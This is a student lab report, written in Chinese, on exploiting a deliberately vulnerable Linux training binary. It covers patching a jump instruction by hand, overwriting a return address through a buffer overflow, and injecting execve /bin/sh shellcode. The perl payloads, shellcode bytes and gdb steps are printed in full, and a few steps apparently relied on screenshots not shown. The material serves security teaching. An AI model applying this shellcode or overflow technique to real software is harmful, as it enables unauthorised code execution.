实践目标

本次实践的对象是linux的可执行文件
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

实践内容

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

注入一个自己制作的shellcode并运行这段shellcode。
1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

2.掌握反汇编与十六进制编程器

3.能正确修改机器指令改变程序执行流程

4.能正确构造payload进行bof攻击

实践要求

1.所有操作截图主机名为本人姓名拼音

2.所编辑的文件名包含自己的学号

实践思路

通过运行原本不可访问的代码片段,强行修改程序执行流以及注入运行任意代码的操作。

关于命令的知识储备

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

JNE:条件转移指令,如果不相等则跳转。(机器码:75)

JE:条件转移指令,如果相等则跳转。(机器码:74)

JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp
word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

NOP:空指令,执行到NOP时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

实践一:直接修改程序机器指令,改变程序执行流程

第一步:通过

     objdump -d pwn1_20155309

对文件进行反汇编

其次有几个特别需要注意的数据

接下来上网上找那种十六进制的计算器即可,由于课上老师已经为大家演示过了,所以我们能知道:将d7改为c3
对应的就算过程相减即可。

第三步:通过命令vi pwn1_20155321编辑文件,通过命令:%! xxd把文件转为十六进制编辑模式,通过命令/d7ff找到需要修改的地方,最后输入i进入编辑模式,即把d7为c3

第四步:改完后输入命令:%! xxd -r将文件转回至二进制形式,再输入:wq保存并退出

第五步:由此可发现程序已从原来跳转至foo函数变为跳转至getshell函数

这样也就完成了实践

实践二:通过构造输入参数,造成BOF攻击,改变程序执行流

了解关于gdb的命令:

反汇编,了解程序的基本功能
触发getshell函数
该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞
这里读入字符串,但系统只预留了__字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
上面的call调用foo,同时在堆栈上压上返回地址值:80484ba

确认输入字符串哪几个字符会覆盖到返回地址
通过命令进行调试,通过命令r进行运行,通过命令info r可查看各寄存器的值,其中主要关注EIP寄存器的值(EIP寄存器读取即将要执行的指令)

我们的目标是触发函数getShell

该可执行文件正常运行是调用函数foo,这个函数有Buffer overflow漏洞
函数foo中的mov(804849a)读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址

函数main中的call调用函数foo,同时在堆栈上压上返回地址值:80484

注意到eip的值为ASCII的5,即在输入字符串的“5”的部分发生溢出。

由此可以看到,如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

由可知此1234这四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。因此只要把这四个字符替换为getShell的内存地址,输给pwn1,pwn1就会运行getShell
由反汇编结果可知getShell的内存地址为:0804847d

要确认用什么值来覆盖返回地址
我们通过反汇编的时候,可以了解到shellcode的内存地址是 0804847d

然后需要判断输入方式是大端还是小断,也就是说到底是输入

11111111222222223333333344444444\x08\x04\x84\x7d

还是输入

11111111222222223333333344444444\x7d\x84\x04\x08

根据判断我们可以得知是小端输入。也就是

11111111222222223333333344444444\x7d\x84\x04\x08

构造输入字符串

因为无法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

实践三:注入Shellcode并执行

首先准备一段shellcode

shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

其次按照老师所给的教程输入命令即可。如下图所示:

构造要注入的payload

Linux下有两种基本构造攻击buf的方法:

retaddr+nop+shellcode

nop+shellcode+retaddr

因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

我们这个buf够放这个shellcode了
结构为

nops+shellcode+retaddr。 

nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

使用命令

perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

接下来我们打开另一个终端。
输入攻击

buf (cat input_shellcode;cat) | ./pwn1

再开另外一个终端,用gdb来调试pwn1这个进程:

ps -ef | grep pwn1

命令找到pwn1的进程号是:7806

用gdb、attach 7806命令启动gdb调试这个进程:

用disassemble foo命令反汇编,通过设置断点,来查看注入buf的内存地址:

break *0x080484ae

命令设置断点,输入c命令(continue)继续运行,同时在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp命令查找地址:

    x/16x 0xffffd27c

命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为0xffffd27c:

接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可,用命

perl -e 'print "A" x 32;print "\x80\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

再用

(cat input_shellcode;cat) | ./pwn1

命令再次执行程序,攻击成功!

实验中遇到的问题

1.在实验二的时候,没有重新拷pwn导致了任务的失败
2.在实验三的适合,没有另外打开一个终端
导致任务的失败。

感想与收获

缓冲区溢出的实验是我对程序溢出利用有了深刻的认识理解,通过调试软件漏洞大大增长了自己的动手实践能力。同时还找到了自己不足的方面。希望在以后的学习中更加丰富自己。